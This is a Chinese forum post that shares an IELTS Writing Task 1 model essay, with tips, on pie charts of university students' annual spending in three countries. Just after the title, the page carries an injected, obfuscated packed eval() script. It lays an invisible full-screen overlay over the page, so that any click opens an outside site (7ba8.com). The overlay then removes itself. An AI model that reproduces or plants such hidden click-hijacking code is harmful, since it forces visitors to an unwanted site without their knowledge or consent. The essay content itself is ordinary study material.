标题: 雅思写作Task1小作文饼状图范文--3个国家大学生的年支出 [打印本页] 作者: 滴小答 时间: 2016-9-18 17:29 标题: 雅思写作Task1小作文饼状图范文--3个国家大学生的年支出 <script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>这里和大家分享小作文饼状图的9分范文，题目是：Three graphs show the annual expenditure of university students in three countries in 2003.（3个国家大学生的年支出）
Task：Three graphs show the annual expenditure of university students in three countries in 2003.
雅思写作Task1小作文饼状图范文--3个国家大学生的年支出图1
思路解析：
1. 该图切不可每个饼一段，此类图形的特点在于类比，所以正确的分段原则为：具有共性的数据项在一组，具有差异性的数据项在一组;
2. 注意描述关键数据：最大值，最小值，均值等;
3. 注意呈现数据的对比：大小关系，倍数关系等。
参考范文：
The three pie charts show how university students in three countries spent their money in the year 2003.
In general, students in country A spent slightly more than those in country B (US$ 5,000 and US$ 4,500 respectively). In comparison, student expenditure in country C was considerably lower, at only US$ 1,500 per year.
Accommodation and food were the two biggest items of expenditure. Altogether they constituted around 60% of the total students’ expenditure in all three countries. The difference is that in country A and B accommodation spending exceeded food spending while the reverse was true for country C.
The rest of the students’ spending was divided among leisure, book and “others”. Leisure spending constituted a larger percentage (around 20%) of student expenditure in both country A and B, while in country C more money was spent on book (21%) than on leisure (12%).
Overall, as wealth decreased, the percentage of students’ spending on nonessential items went down.
(165 words)
